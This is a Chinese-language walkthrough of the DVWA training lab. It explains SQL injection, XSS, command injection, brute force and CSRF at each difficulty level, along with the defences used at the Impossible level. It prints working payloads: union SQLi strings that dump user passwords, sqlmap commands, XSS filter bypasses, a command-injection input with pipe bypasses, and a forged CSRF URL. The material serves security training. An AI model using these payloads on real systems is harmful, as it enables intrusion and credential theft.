DVWA解题步骤
字数 2608 2025-08-12 11:34:41
DVWA漏洞利用与防御全面指南
SQL注入漏洞
Low级别
漏洞分析:
- 未对用户输入的
id参数进行任何过滤 - 直接拼接SQL语句:
SELECT first_name, last_name FROM users WHERE user_id = '$id'
手工注入步骤:
- 判断闭合方式:输入
1'触发错误,确定为单引号闭合 - 猜字段数:使用
1' order by 3#测试,发现2列时回显正常 - 判断回显位置:
-1' union select 1,2# - 爆破数据库信息:
- 表名:
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()# - 列名:
-1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'# - 字段:
-1' union select user,password from users#
- 表名:
SQLMap自动化:
python sqlmap.py -u "http://127.0.0.1/sqli/less-1/?id=1" --cookie="PHPSESSID=xxx" --batch --dbs
python sqlmap.py -u "http://127.0.0.1/sqli/less-1/?id=1" --cookie="PHPSESSID=xxx" --batch -D "dvwa" --tables
python sqlmap.py -u "http://127.0.0.1/sqli/less-1/?id=1" --cookie="PHPSESSID=xxx" --batch -D "dvwa" -T "users" --columns
Medium级别
变化:
- 使用POST方式传参
- 使用
mysqli_real_escape_string过滤 - 闭合方式变为数字型:
WHERE user_id = $id
注入方法:
- 抓包修改POST参数
- 测试数字型注入:
id=1 and 1=1--+vsid=1 and 1=2--+ - 后续步骤与Low级别类似
High级别
变化:
- 使用SESSION传参
- 添加
LIMIT 1限制 - 需要二阶注入
SQLMap特殊参数:
python sqlmap.py -u "session-input.php" --data="id=1&Submit=Submit" --cookie="xxx" --second-url "vulnerabilities/sqli/" --dbs --batch
Impossible级别
防御措施:
- 使用PDO预编译:
prepare和bindParam - 严格类型检查
is_numeric - 限制返回结果数量
rowCount() == 1 - 添加Anti-CSRF token
XSS漏洞
Reflected XSS
Low级别:
- 直接输出未过滤的用户输入:
echo '<pre>Hello ' . $_GET['name'] - Payload:
<script>alert(1)</script>
Medium级别:
- 过滤
<script>标签:str_replace('<script>', '', $name) - 绕过方法:
- 大小写:
<Scipt>alert(1)</Script> - 双写:
<scr<script>ipt>alert(/xss/)</script>
- 大小写:
High级别:
- 使用正则过滤:
preg_replace('/<script>/i', '', $name) - 使用其他标签:``
Impossible级别:
- 使用
htmlspecialchars转义特殊字符
Stored XSS
Low级别:
- 直接存储未过滤的用户输入
- Payload同Reflected XSS
Medium级别:
- 过滤
<script>标签 - 绕过方法同Reflected XSS
High级别:
- 对message使用
strip_tags和htmlspecialchars - 对name使用正则过滤
<script> - 使用非script标签:``
JavaScript攻击
Low级别:
- Token生成方式:
md5(rot13(phrase)) - 解决方法:控制台执行
generate_token()后修改token值
Medium级别:
- Token生成逻辑在外部JS文件中
- 控制台执行
do_elsesomething("XX")
High级别:
- 混淆的JS代码,需还原后分析
- Token由三部分组成:
token_part_1("ABCD", 44)token_part_2("XX")(300ms延迟)token_part_3()(点击时触发)
盲注(SQL Blind)
Low/Medium/High级别:
- 与普通SQL注入类似,但无显式错误回显
- 使用SQLMap时参数相同
- High级别需使用
--second-url参数
暴力破解
Low级别:
- 无任何防护措施
- 直接使用Burp Intruder爆破
Medium级别:
- 使用
mysql_real_escape_string过滤,不影响爆破
High级别:
- 添加token验证
- 爆破时需:
- 设置递归搜索获取新token
- 将token值复制到初始payload
Impossible级别:
- 失败登录次数限制(3次后锁定15分钟)
- 使用PDO防御SQL注入
- 记录失败登录次数和时间
命令注入
Low级别:
- 直接拼接用户输入执行命令:
shell_exec('ping ' . $target) - 可注入:
127.0.0.1 & whoami
Medium级别:
- 过滤
&&和; - 可使用管道符:
|
High级别:
- 过滤更多字符,但管道符后加空格可绕过
Impossible级别:
- 严格验证IP格式(4个数字用点分隔)
- 类似白名单机制
CSRF漏洞
Low级别:
- GET方式修改密码,可直接构造URL:
http://example.com/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change
Medium级别:
- 检查Referer头
- 伪造Referer绕过
High级别:
- 使用Anti-CSRF token
- 使用Burp插件获取和自动更新token
Impossible级别:
- 要求输入原密码
- 使用PDO预编译
- 使用CSRF token
防御建议
-
SQL注入:
- 使用PDO预编译和参数绑定
- 严格输入验证(类型、长度、格式)
- 最小权限原则
-
XSS:
- 输出编码(htmlspecialchars)
- 内容安全策略(CSP)
- 输入过滤和净化
-
CSRF:
- 使用随机token
- 检查Referer头
- 关键操作需二次确认
-
命令注入:
- 避免直接执行用户输入
- 使用白名单验证
- 使用特定API替代命令执行
-
暴力破解:
- 账户锁定机制
- 验证码
- 登录延迟
- 强密码策略